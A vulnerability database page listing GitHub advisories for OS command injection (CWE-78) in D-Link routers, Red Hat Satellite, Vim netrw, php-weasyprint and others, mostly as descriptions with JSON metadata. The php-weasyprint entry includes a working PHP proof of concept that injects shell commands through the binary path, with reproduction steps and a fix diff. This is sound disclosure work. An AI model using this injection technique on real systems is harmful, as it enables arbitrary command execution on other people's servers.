CWE-78
AllowedImproper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Abstraction: Base · Status: Stable
The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.
8272 vulnerabilities reference this CWE, most recent first.
GHSA-F5FW-W387-R642
Vulnerability from github – Published: 2025-08-28 00:30 – Updated: 2025-09-24 18:30Multiple D-Link DIR-series routers, including DIR-110, DIR-412, DIR-600, DIR-610, DIR-615, DIR-645, and DIR-815 firmware version 1.03, contain a vulnerability in the service.cgi endpoint that allows remote attackers to execute arbitrary system commands without authentication. The flaw stems from improper input handling in the EVENT=CHECKFW parameter, which is passed directly to the system shell without sanitization. A crafted HTTP POST request can inject commands that are executed with root privileges, resulting in full device compromise. These router models are no longer supported at the time of assignment and affected version ranges may vary.
{
"affected": [],
"aliases": [
"CVE-2018-25115"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-27T22:15:31Z",
"severity": "CRITICAL"
},
"details": "Multiple D-Link DIR-series routers, including DIR-110, DIR-412, DIR-600, DIR-610, DIR-615, DIR-645, and DIR-815 firmware version 1.03, contain a vulnerability in the service.cgi endpoint that allows remote attackers to execute arbitrary system commands without authentication. The flaw stems from improper input handling in the EVENT=CHECKFW parameter, which is passed directly to the system shell without sanitization. A crafted HTTP POST request can inject commands that are executed with root privileges, resulting in full device compromise. These router models are no longer supported at the time of assignment and affected version ranges may vary.",
"id": "GHSA-f5fw-w387-r642",
"modified": "2025-09-24T18:30:23Z",
"published": "2025-08-28T00:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-25115"
},
{
"type": "WEB",
"url": "https://github.com/Cr0n1c/dlink_shell_poc/blob/master/dlink_auth_rce"
},
{
"type": "WEB",
"url": "https://legacy.us.dlink.com"
},
{
"type": "WEB",
"url": "https://support.dlink.com/EndOfLifePolicy.aspx"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/43496"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/dlink-dir-rce-service-cgi"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-F5GC-QXF8-MH9G
Vulnerability from github – Published: 2026-06-26 21:46 – Updated: 2026-06-26 21:46Summary
pontedilana/php-weasyprint builds the shell command for WeasyPrint by passing the binary path through escapeshellarg() first and then checking the quoted result with is_executable(). On POSIX escapeshellarg('/usr/local/bin/weasyprint') returns '/usr/local/bin/weasyprint' with the single-quote characters as part of the string, so is_executable() looks for a file whose actual name includes those quotes. That file never exists, the "safe" branch is dead code, and the raw $binary string (set via the constructor or setBinary()) flows directly into Symfony\Component\Process\Process::fromShellCommandline(). Any deployment whose binary path is sourced from configuration, an environment variable, or a per-tenant setting reaches a shell-command-injection sink. The library is documented as a one-to-one substitute for KnpLabs/snappy and inherited the exact pre-fix codepath KnpLabs patched in GHSA-vpr4-p6fq-85jc (Snappy 1.7.1).
Affected versions
pontedilana/php-weasyprint versions <= 2.5.0 (current master tip commit c2b51fed0bf442c3bf0292b879a09944d436f2a0, 2026-04-03).
Patched in: 2.5.1
Privilege required
Any caller that can influence the binary string handed to the Pdf constructor or to AbstractGenerator::setBinary(). Typical reach paths:
- An application config file (
config/services.yaml,.env, helm chart value) read at boot time, where the path is auto-detected from environment or driven by a per-tenant override. - An admin UI that lets operators pick between multiple WeasyPrint builds (
weasyprint-v60,weasyprint-v66) for compatibility reasons. - A multi-tenant SaaS that resolves binary location from a tenant config row.
Once an attacker plants a string containing shell metacharacters in one of those channels, every subsequent generate() call shells out the injected payload as the PHP process user.
Vulnerable code
src/AbstractGenerator.php#L169-L172:
protected function buildCommand(string $binary, string $input, string $output, array $options = []): string
{
$escapedBinary = \escapeshellarg($binary);
$command = \is_executable($escapedBinary) ? $escapedBinary : $binary;
src/Pdf.php#L167-L170 overrides buildCommand with the same guard:
protected function buildCommand(string $binary, string $input, string $output, array $options = []): string
{
$escapedBinary = \escapeshellarg($binary);
$command = \is_executable($escapedBinary) ? $escapedBinary : $binary;
escapeshellarg($binary) returns a single-quoted string. is_executable() then looks up a file whose name literally contains the surrounding single-quote characters, which essentially never exists. The ternary therefore always falls through to the right-hand side, where $command is the raw, unescaped $binary string. The rest of the command construction (options, input, output) is correctly escaped, so injection has to land in the binary segment — which is exactly the segment configuration-driven deployments treat as trusted.
This is the same primitive KnpLabs/snappy patched in version 1.7.1. The README of php-weasyprint states: "This library is massively inspired by KnpLabs/snappy, of which it aims to be a one-to-one substitute (GeneratorInterface is the same)." The vulnerable buildCommand was copied verbatim and never updated.
How $binary reaches the shell
caller code
└── new Pdf($binary) // src/Pdf.php constructor
└── parent::__construct($binary)
└── $this->setBinary($binary) // src/AbstractGenerator.php:276
$this->binary = $binary; // no validation
later, at conversion time:
$pdf->generate($input, $output, $options)
└── $this->getCommand($input, $output, $options) // src/AbstractGenerator.php:298
└── $this->buildCommand($this->binary, ...) // src/AbstractGenerator.php:306
└── ($vulnerable guard, see above)
└── returns $command including raw $binary
└── $this->executeCommand($command) // src/AbstractGenerator.php:202
└── Process::fromShellCommandline($command, null, $this->env, null, $this->timeout)
└── /bin/sh -c $command // shell metacharacters interpreted
No intermediate validator, no scheme check, no allow-list. Whatever string reaches setBinary() is shell-evaluated.
Proof of concept
<?php
require __DIR__ . '/vendor/autoload.php';
use Pontedilana\PhpWeasyPrint\Pdf;
@unlink('/tmp/php_weasyprint_rce_marker');
// Attacker-controlled binary string (e.g. coming from config / env / tenant settings).
$binaryString = 'weasyprint --version > /dev/null; touch /tmp/php_weasyprint_rce_marker; #';
$pdf = new Pdf($binaryString);
$pdf->setTimeout(5);
try {
$pdf->generate('about:blank', '/tmp/poc_out.pdf', [], true);
} catch (Throwable $e) {
// WeasyPrint binary call fails (its actual exit status is irrelevant);
// the injected 'touch' between the ';' separators already ran.
}
if (file_exists('/tmp/php_weasyprint_rce_marker')) {
echo "RCE MARKER PRESENT — injection landed.\n";
} else {
echo "RCE marker absent — injection did NOT land.\n";
}
The # at the end of $binaryString comments out the unrelated '/dev/null' '/tmp/poc_out.pdf' tail that buildCommand appends, keeping the shell line syntactically valid.
End-to-end reproduction (against pinned Composer install)
# 1. Pin the affected version
mkdir poc-weasyprint && cd poc-weasyprint
cat > composer.json <<'EOF'
{
"require": { "pontedilana/php-weasyprint": "2.5.0" }
}
EOF
composer install --no-dev --quiet
# 2. Run the PoC
php poc.php
Captured run output (PHP 8.5.6, macOS arm64):
--- buildCommand output (uses reflection to peek) ---
weasyprint --version > /dev/null; touch /tmp/php_weasyprint_rce_marker; # '/dev/null' '/tmp/poc_out.pdf'
--- end buildCommand ---
generate() threw (expected, weasyprint binary call may fail): RuntimeException: The file '/tmp/poc_out.pdf' was not created (command: weasyprint --version > /dev/null; touch /tmp/php_weasyprint_rce_ma...
--- post-exec check ---
RCE MARKER PRESENT — injection landed.
stat: -rw-r--r--@ 1 rick wheel 0 5月 25 13:44 /tmp/php_weasyprint_rce_marker
Interpretation:
| Observation | Expected if guard worked | Actual |
|---|---|---|
Compiled command starts with weasyprint --version ...; touch ...; # |
Should be wrapped in single quotes, e.g. 'weasyprint --version > /dev/null; touch /tmp/...; #' |
Raw, unquoted |
/tmp/php_weasyprint_rce_marker after generate() |
Absent (binary path validation rejects) | Present — injected touch ran |
The marker file is created by the injected command sequence, not by the WeasyPrint binary; the WeasyPrint call inside the same shell line fails afterwards (no PDF produced), but the injected payload has already executed.
Negative control on a benign binary path:
php poc_negctrl.php
# --- buildCommand for benign binary ---
# /usr/local/bin/weasyprint '/dev/null' '/tmp/poc_out_neg.pdf'
# Benign-path negative control clean: no spurious marker.
Even the benign path is emitted raw (without single-quotes around the binary), confirming the is_executable() guard never returns true — defensive depth is gone for every deployment, not just the malicious one.
Fix verification: replacing both buildCommand overrides with the KnpLabs/snappy 1.7.1 shape (if (!\is_executable($binary)) throw new RuntimeException(...); $command = \escapeshellarg($binary);) and re-running the same harness:
--- patched buildCommand output ---
[OK] buildCommand rejected malicious binary at the guard. msg: The binary 'weasyprint --version > /dev/null; touch /tmp/php_weasyprint_rce_marker_patched; #' is not executable.
generate() threw (expected, the corrected guard rejects the malicious $binary): RuntimeException: The binary 'weasyprint ...' is not executable.
PATCH OK — marker absent, injection blocked.
The corrected guard runs is_executable() on the unescaped $binary. For the attacker payload that lookup returns false (no file by that name exists on disk), the exception fires before Process::fromShellCommandline is ever called, and the marker file is never created.
Impact
- Shell-command injection as the PHP-FPM / CLI user whenever the WeasyPrint binary path is influenced by configuration, environment, or per-tenant settings.
- Affects every consumer that does not hard-code a constant binary path baked into the deployed code. Empirically, both the project's own README and tests demonstrate the binary path as a configurable constructor argument (
new Pdf('/usr/local/bin/weasyprint')), and downstream framework integrations (Symfony / Laravel) typically wire it through container config. - Defensive-in-depth regression even for hard-coded paths: a reader of
buildCommandreasonably expects the binary to be shell-escaped because the code visually claims to do so. Any later change that reads the binary from a less-trusted source inherits the dead guard.
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H (7.6, High) — adjust to AV:N when the binary path is reachable from an unauthenticated request surface (e.g. an admin endpoint without proper auth).
Suggested fix
Mirror the KnpLabs/snappy 1.7.1 fix shape exactly (the upstream library this project explicitly mirrors):
--- a/src/AbstractGenerator.php
+++ b/src/AbstractGenerator.php
@@
protected function buildCommand(string $binary, string $input, string $output, array $options = []): string
{
- $escapedBinary = \escapeshellarg($binary);
- $command = \is_executable($escapedBinary) ? $escapedBinary : $binary;
+ if (!\is_executable($binary)) {
+ throw new \RuntimeException(sprintf("The binary '%s' is not executable.", $binary));
+ }
+ $command = \escapeshellarg($binary);
Apply the identical change to src/Pdf.php::buildCommand. The is_executable() check now runs against the raw $binary (the only string that can name a real file on disk), and the escapeshellarg() call only quotes a string that has already been verified as a real executable path on the local filesystem.
A regression test that asserts buildCommand throws on a $binary string containing ; / && / | should be added so the dead-guard pattern cannot reappear silently.
Credit
Reported by tonghuaroot.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.5.0"
},
"package": {
"ecosystem": "Packagist",
"name": "pontedilana/php-weasyprint"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.5.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-49260"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-26T21:46:27Z",
"nvd_published_at": "2026-06-19T17:16:29Z",
"severity": "HIGH"
},
"details": "### Summary\n\n`pontedilana/php-weasyprint` builds the shell command for WeasyPrint by passing the binary path through `escapeshellarg()` first and then checking the *quoted* result with `is_executable()`. On POSIX `escapeshellarg(\u0027/usr/local/bin/weasyprint\u0027)` returns `\u0027/usr/local/bin/weasyprint\u0027` with the single-quote characters as part of the string, so `is_executable()` looks for a file whose actual name includes those quotes. That file never exists, the \"safe\" branch is dead code, and the raw `$binary` string (set via the constructor or `setBinary()`) flows directly into `Symfony\\Component\\Process\\Process::fromShellCommandline()`. Any deployment whose binary path is sourced from configuration, an environment variable, or a per-tenant setting reaches a shell-command-injection sink. The library is documented as a one-to-one substitute for KnpLabs/snappy and inherited the exact pre-fix codepath KnpLabs patched in [GHSA-vpr4-p6fq-85jc](https://github.com/KnpLabs/snappy/security/advisories/GHSA-vpr4-p6fq-85jc) (Snappy 1.7.1).\n\n### Affected versions\n\n`pontedilana/php-weasyprint` versions `\u003c= 2.5.0` (current `master` tip commit `c2b51fed0bf442c3bf0292b879a09944d436f2a0`, 2026-04-03).\n\nPatched in: 2.5.1\n\n### Privilege required\n\nAny caller that can influence the binary string handed to the `Pdf` constructor or to `AbstractGenerator::setBinary()`. Typical reach paths:\n\n- An application config file (`config/services.yaml`, `.env`, helm chart value) read at boot time, where the path is auto-detected from environment or driven by a per-tenant override.\n- An admin UI that lets operators pick between multiple WeasyPrint builds (`weasyprint-v60`, `weasyprint-v66`) for compatibility reasons.\n- A multi-tenant SaaS that resolves binary location from a tenant config row.\n\nOnce an attacker plants a string containing shell metacharacters in one of those channels, every subsequent `generate()` call shells out the injected payload as the PHP process user.\n\n### Vulnerable code\n\n[`src/AbstractGenerator.php#L169-L172`](https://github.com/pontedilana/php-weasyprint/blob/c2b51fed0bf442c3bf0292b879a09944d436f2a0/src/AbstractGenerator.php#L169-L172):\n\n```php\nprotected function buildCommand(string $binary, string $input, string $output, array $options = []): string\n{\n $escapedBinary = \\escapeshellarg($binary);\n $command = \\is_executable($escapedBinary) ? $escapedBinary : $binary;\n```\n\n[`src/Pdf.php#L167-L170`](https://github.com/pontedilana/php-weasyprint/blob/c2b51fed0bf442c3bf0292b879a09944d436f2a0/src/Pdf.php#L167-L170) overrides `buildCommand` with the same guard:\n\n```php\nprotected function buildCommand(string $binary, string $input, string $output, array $options = []): string\n{\n $escapedBinary = \\escapeshellarg($binary);\n $command = \\is_executable($escapedBinary) ? $escapedBinary : $binary;\n```\n\n`escapeshellarg($binary)` returns a single-quoted string. `is_executable()` then looks up a file whose name literally contains the surrounding single-quote characters, which essentially never exists. The ternary therefore always falls through to the right-hand side, where `$command` is the raw, unescaped `$binary` string. The rest of the command construction (options, input, output) is correctly escaped, so injection has to land in the binary segment \u2014 which is exactly the segment configuration-driven deployments treat as trusted.\n\nThis is the same primitive KnpLabs/snappy patched in version 1.7.1. The README of `php-weasyprint` states: \"This library is massively inspired by KnpLabs/snappy, of which it aims to be a one-to-one substitute (GeneratorInterface is the same).\" The vulnerable `buildCommand` was copied verbatim and never updated.\n\n### How `$binary` reaches the shell\n\n```\ncaller code\n \u2514\u2500\u2500 new Pdf($binary) // src/Pdf.php constructor\n \u2514\u2500\u2500 parent::__construct($binary)\n \u2514\u2500\u2500 $this-\u003esetBinary($binary) // src/AbstractGenerator.php:276\n $this-\u003ebinary = $binary; // no validation\n\nlater, at conversion time:\n\n $pdf-\u003egenerate($input, $output, $options)\n \u2514\u2500\u2500 $this-\u003egetCommand($input, $output, $options) // src/AbstractGenerator.php:298\n \u2514\u2500\u2500 $this-\u003ebuildCommand($this-\u003ebinary, ...) // src/AbstractGenerator.php:306\n \u2514\u2500\u2500 ($vulnerable guard, see above)\n \u2514\u2500\u2500 returns $command including raw $binary\n \u2514\u2500\u2500 $this-\u003eexecuteCommand($command) // src/AbstractGenerator.php:202\n \u2514\u2500\u2500 Process::fromShellCommandline($command, null, $this-\u003eenv, null, $this-\u003etimeout)\n \u2514\u2500\u2500 /bin/sh -c $command // shell metacharacters interpreted\n```\n\nNo intermediate validator, no scheme check, no allow-list. Whatever string reaches `setBinary()` is shell-evaluated.\n\n### Proof of concept\n\n```php\n\u003c?php\nrequire __DIR__ . \u0027/vendor/autoload.php\u0027;\n\nuse Pontedilana\\PhpWeasyPrint\\Pdf;\n\n@unlink(\u0027/tmp/php_weasyprint_rce_marker\u0027);\n\n// Attacker-controlled binary string (e.g. coming from config / env / tenant settings).\n$binaryString = \u0027weasyprint --version \u003e /dev/null; touch /tmp/php_weasyprint_rce_marker; #\u0027;\n\n$pdf = new Pdf($binaryString);\n$pdf-\u003esetTimeout(5);\n\ntry {\n $pdf-\u003egenerate(\u0027about:blank\u0027, \u0027/tmp/poc_out.pdf\u0027, [], true);\n} catch (Throwable $e) {\n // WeasyPrint binary call fails (its actual exit status is irrelevant);\n // the injected \u0027touch\u0027 between the \u0027;\u0027 separators already ran.\n}\n\nif (file_exists(\u0027/tmp/php_weasyprint_rce_marker\u0027)) {\n echo \"RCE MARKER PRESENT \u2014 injection landed.\\n\";\n} else {\n echo \"RCE marker absent \u2014 injection did NOT land.\\n\";\n}\n```\n\nThe `#` at the end of `$binaryString` comments out the unrelated `\u0027/dev/null\u0027 \u0027/tmp/poc_out.pdf\u0027` tail that `buildCommand` appends, keeping the shell line syntactically valid.\n\n### End-to-end reproduction (against pinned Composer install)\n\n```bash\n# 1. Pin the affected version\nmkdir poc-weasyprint \u0026\u0026 cd poc-weasyprint\ncat \u003e composer.json \u003c\u003c\u0027EOF\u0027\n{\n \"require\": { \"pontedilana/php-weasyprint\": \"2.5.0\" }\n}\nEOF\ncomposer install --no-dev --quiet\n\n# 2. Run the PoC\nphp poc.php\n```\n\nCaptured run output (PHP 8.5.6, macOS arm64):\n\n```\n--- buildCommand output (uses reflection to peek) ---\nweasyprint --version \u003e /dev/null; touch /tmp/php_weasyprint_rce_marker; # \u0027/dev/null\u0027 \u0027/tmp/poc_out.pdf\u0027\n--- end buildCommand ---\n\ngenerate() threw (expected, weasyprint binary call may fail): RuntimeException: The file \u0027/tmp/poc_out.pdf\u0027 was not created (command: weasyprint --version \u003e /dev/null; touch /tmp/php_weasyprint_rce_ma...\n\n--- post-exec check ---\nRCE MARKER PRESENT \u2014 injection landed.\nstat: -rw-r--r--@ 1 rick wheel 0 5\u6708 25 13:44 /tmp/php_weasyprint_rce_marker\n```\n\nInterpretation:\n\n| Observation | Expected if guard worked | Actual |\n|---|---|---|\n| Compiled command starts with `weasyprint --version ...; touch ...; #` | Should be wrapped in single quotes, e.g. `\u0027weasyprint --version \u003e /dev/null; touch /tmp/...; #\u0027` | Raw, unquoted |\n| `/tmp/php_weasyprint_rce_marker` after `generate()` | Absent (binary path validation rejects) | Present \u2014 injected `touch` ran |\n\nThe marker file is created by the injected command sequence, not by the WeasyPrint binary; the WeasyPrint call inside the same shell line fails afterwards (no PDF produced), but the injected payload has already executed.\n\nNegative control on a benign binary path:\n\n```bash\nphp poc_negctrl.php\n# --- buildCommand for benign binary ---\n# /usr/local/bin/weasyprint \u0027/dev/null\u0027 \u0027/tmp/poc_out_neg.pdf\u0027\n# Benign-path negative control clean: no spurious marker.\n```\n\nEven the benign path is emitted raw (without single-quotes around the binary), confirming the `is_executable()` guard never returns true \u2014 defensive depth is gone for every deployment, not just the malicious one.\n\nFix verification: replacing both `buildCommand` overrides with the KnpLabs/snappy 1.7.1 shape (`if (!\\is_executable($binary)) throw new RuntimeException(...); $command = \\escapeshellarg($binary);`) and re-running the same harness:\n\n```\n--- patched buildCommand output ---\n[OK] buildCommand rejected malicious binary at the guard. msg: The binary \u0027weasyprint --version \u003e /dev/null; touch /tmp/php_weasyprint_rce_marker_patched; #\u0027 is not executable.\ngenerate() threw (expected, the corrected guard rejects the malicious $binary): RuntimeException: The binary \u0027weasyprint ...\u0027 is not executable.\nPATCH OK \u2014 marker absent, injection blocked.\n```\n\nThe corrected guard runs `is_executable()` on the unescaped `$binary`. For the attacker payload that lookup returns false (no file by that name exists on disk), the exception fires before `Process::fromShellCommandline` is ever called, and the marker file is never created.\n\n### Impact\n\n- Shell-command injection as the PHP-FPM / CLI user whenever the WeasyPrint binary path is influenced by configuration, environment, or per-tenant settings.\n- Affects every consumer that does not hard-code a constant binary path baked into the deployed code. Empirically, both the project\u0027s own README and tests demonstrate the binary path as a configurable constructor argument (`new Pdf(\u0027/usr/local/bin/weasyprint\u0027)`), and downstream framework integrations (Symfony / Laravel) typically wire it through container config.\n- Defensive-in-depth regression even for hard-coded paths: a reader of `buildCommand` reasonably expects the binary to be shell-escaped because the code visually claims to do so. Any later change that reads the binary from a less-trusted source inherits the dead guard.\n\nCVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H (7.6, High) \u2014 adjust to AV:N when the binary path is reachable from an unauthenticated request surface (e.g. an admin endpoint without proper auth).\n\n### Suggested fix\n\nMirror the KnpLabs/snappy 1.7.1 fix shape exactly (the upstream library this project explicitly mirrors):\n\n```diff\n--- a/src/AbstractGenerator.php\n+++ b/src/AbstractGenerator.php\n@@\n protected function buildCommand(string $binary, string $input, string $output, array $options = []): string\n {\n- $escapedBinary = \\escapeshellarg($binary);\n- $command = \\is_executable($escapedBinary) ? $escapedBinary : $binary;\n+ if (!\\is_executable($binary)) {\n+ throw new \\RuntimeException(sprintf(\"The binary \u0027%s\u0027 is not executable.\", $binary));\n+ }\n+ $command = \\escapeshellarg($binary);\n```\n\nApply the identical change to `src/Pdf.php::buildCommand`. The `is_executable()` check now runs against the raw `$binary` (the only string that can name a real file on disk), and the `escapeshellarg()` call only quotes a string that has already been verified as a real executable path on the local filesystem.\n\nA regression test that asserts `buildCommand` throws on a `$binary` string containing `;` / `\u0026\u0026` / `|` should be added so the dead-guard pattern cannot reappear silently.\n\n### Credit\n\nReported by tonghuaroot.",
"id": "GHSA-f5gc-qxf8-mh9g",
"modified": "2026-06-26T21:46:27Z",
"published": "2026-06-26T21:46:27Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/KnpLabs/snappy/security/advisories/GHSA-vpr4-p6fq-85jc"
},
{
"type": "WEB",
"url": "https://github.com/pontedilana/php-weasyprint/security/advisories/GHSA-f5gc-qxf8-mh9g"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49260"
},
{
"type": "WEB",
"url": "https://github.com/pontedilana/php-weasyprint/commit/9e86a2b317237fc5728f712f5037164530117f7e"
},
{
"type": "PACKAGE",
"url": "https://github.com/pontedilana/php-weasyprint"
},
{
"type": "WEB",
"url": "https://github.com/pontedilana/php-weasyprint/releases/tag/2.5.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "php-weasyprint: shell command injection via configurable WeasyPrint binary path due to inverted is_executable() guard (mirror of KnpLabs/snappy GHSA-vpr4-p6fq-85jc)"
}
GHSA-F5H4-C4JW-C4GM
Vulnerability from github – Published: 2025-11-05 09:30 – Updated: 2025-12-24 00:30A flaw was found in Red Hat Satellite (Foreman component). This vulnerability allows an authenticated user with edit_settings permissions to achieve arbitrary command execution on the underlying operating system via insufficient server-side validation of command whitelisting.
{
"affected": [],
"aliases": [
"CVE-2025-10622"
],
"database_specific": {
"cwe_ids": [
"CWE-602",
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-11-05T08:15:32Z",
"severity": "HIGH"
},
"details": "A flaw was found in Red Hat Satellite (Foreman component). This vulnerability allows an authenticated user with edit_settings permissions to achieve arbitrary command execution on the underlying operating system via insufficient server-side validation of command whitelisting.",
"id": "GHSA-f5h4-c4jw-c4gm",
"modified": "2025-12-24T00:30:12Z",
"published": "2025-11-05T09:30:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-10622"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2025:19721"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2025:19832"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2025:19855"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2025:19856"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2025-10622"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2396020"
},
{
"type": "WEB",
"url": "https://theforeman.org/security.html#2025-10622"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-F5MR-HF6G-PF98
Vulnerability from github – Published: 2025-08-08 06:30 – Updated: 2025-08-08 06:30EnzoH has an OS command injection vulnerability. Successful exploitation of this vulnerability may lead to arbitrary command execution.
{
"affected": [],
"aliases": [
"CVE-2024-58256"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-08T04:16:03Z",
"severity": "MODERATE"
},
"details": "EnzoH has an OS command injection vulnerability. Successful exploitation of this vulnerability may lead to arbitrary command execution.",
"id": "GHSA-f5mr-hf6g-pf98",
"modified": "2025-08-08T06:30:25Z",
"published": "2025-08-08T06:30:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-58256"
},
{
"type": "WEB",
"url": "https://www.huawei.com/cn/psirt/security-advisories/2025/huawei-sa-ocivihep-cn"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-F5QF-9PC8-PR89
Vulnerability from github – Published: 2022-05-01 23:56 – Updated: 2022-05-01 23:56The Netrw plugin 125 in netrw.vim in Vim 7.2a.10 allows user-assisted attackers to execute arbitrary code via shell metacharacters in filenames used by the execute and system functions within the (1) mz and (2) mc commands, as demonstrated by the netrw.v2 and netrw.v3 test cases. NOTE: this issue reportedly exists because of an incomplete fix for CVE-2008-2712.
{
"affected": [],
"aliases": [
"CVE-2008-3076"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2009-02-21T22:30:00Z",
"severity": "HIGH"
},
"details": "The Netrw plugin 125 in netrw.vim in Vim 7.2a.10 allows user-assisted attackers to execute arbitrary code via shell metacharacters in filenames used by the execute and system functions within the (1) mz and (2) mc commands, as demonstrated by the netrw.v2 and netrw.v3 test cases. NOTE: this issue reportedly exists because of an incomplete fix for CVE-2008-2712.",
"id": "GHSA-f5qf-9pc8-pr89",
"modified": "2022-05-01T23:56:22Z",
"published": "2022-05-01T23:56:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-3076"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/43624"
},
{
"type": "WEB",
"url": "http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=506919"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2009-03/msg00004.html"
},
{
"type": "WEB",
"url": "http://marc.info/?l=bugtraq\u0026m=121494431426308\u0026w=2"
},
{
"type": "WEB",
"url": "http://marc.info/?l=oss-security\u0026m=122416184431388\u0026w=2"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/34418"
},
{
"type": "WEB",
"url": "http://wiki.rpath.com/wiki/Advisories:rPSA-2008-0324"
},
{
"type": "WEB",
"url": "http://www.mandriva.com/security/advisories?name=MDVSA-2008:236"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2008/07/07/1"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2008/07/07/4"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2008/07/08/12"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2008/10/20/2"
},
{
"type": "WEB",
"url": "http://www.rdancer.org/vulnerablevim-netrw.html"
},
{
"type": "WEB",
"url": "http://www.rdancer.org/vulnerablevim-netrw.v2.html"
},
{
"type": "WEB",
"url": "http://www.redhat.com/support/errata/RHSA-2008-0580.html"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/30115"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-F5QX-7VF3-7H4F
Vulnerability from github – Published: 2022-05-13 01:49 – Updated: 2022-05-13 01:49Quest DR Series Disk Backup software version before 4.0.3.1 allows command injection (issue 3 of 46).
{
"affected": [],
"aliases": [
"CVE-2018-11145"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-06-02T01:29:00Z",
"severity": "HIGH"
},
"details": "Quest DR Series Disk Backup software version before 4.0.3.1 allows command injection (issue 3 of 46).",
"id": "GHSA-f5qx-7vf3-7h4f",
"modified": "2022-05-13T01:49:02Z",
"published": "2022-05-13T01:49:02Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-11145"
},
{
"type": "WEB",
"url": "https://www.coresecurity.com/advisories/quest-dr-series-disk-backup-multiple-vulnerabilities"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/148003/Quest-DR-Series-Disk-Backup-Software-4.0.3-Code-Execution.html"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2018/May/71"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-F5VF-W6PF-3MGF
Vulnerability from github – Published: 2026-07-01 18:31 – Updated: 2026-07-01 18:31Guardian language-system passes the id GET parameter directly into a PHP exec() call in speech.php (line 18) without sanitization: exec(\"php jobs/speech_audio.php \".$login_session.\" \".$_GET['id'].\" ...\"). No authentication is required. An unauthenticated remote attacker can append shell metacharacters to execute arbitrary OS commands on the server.
{
"affected": [],
"aliases": [
"CVE-2026-34109"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-01T17:16:34Z",
"severity": "CRITICAL"
},
